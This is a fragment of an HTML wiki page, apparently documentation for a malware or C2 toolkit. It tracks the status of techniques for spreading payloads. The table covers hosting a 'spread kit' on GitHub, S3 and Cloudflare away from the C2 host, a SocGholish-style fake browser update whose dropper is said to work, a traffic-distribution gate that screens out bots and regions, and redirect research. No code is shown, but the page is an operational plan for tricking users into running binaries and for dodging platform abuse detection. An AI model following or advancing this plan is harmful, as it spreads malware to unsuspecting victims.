<h3>Third-party platforms & gaps</h3>
|
||
<p>Techniques on infrastructure you do <em>not</em> fully control. Most require separate publish pipelines.</p>
|
||
<table class="wiki-table">
|
||
<thead><tr><th>Technique</th><th>Status</th><th>Notes</th></tr></thead>
|
||
<tbody>
|
||
<tr><td>GitHub Releases / raw CDN</td><td><span class="wiki-status partial">Partial</span></td><td>Build artifacts exist; separate release pipeline from C2 host</td></tr>
|
||
<tr><td>S3 / Cloudflare Pages / R2</td><td><span class="wiki-status partial">Partial</span></td><td>Deploy exported spread-kit ZIP off C2; platform abuse ML risk</td></tr>
|
||
<tr><td>npm / PyPI / Docker Hub typosquat</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Use npm helper on registries <em>you</em> own</td></tr>
|
||
<tr><td>WordPress.org plugin compromise</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Owned-site upload wizard only</td></tr>
|
||
<tr><td>Fake browser update (SocGholish)</td><td><span class="wiki-status stub">Stub</span></td><td>Dropper works; branded HTML lander not shipped</td></tr>
|
||
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td><td>Filter bots/geo before showing download</td></tr>
|
||
<tr><td>Service worker / WASM redirect</td><td><span class="wiki-status stub">Needs</span></td><td>Research paths; still ends at user-run binary</td></tr>
|
||
</tbody>
|
||
</table>
|
||
<p>Full research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||
</div>
|
||
</section>
|
||
</main>
|
||
</div>
|
||
<script src="spread-techniques.js"></script>
|
||
</body>
|
||
</html>
|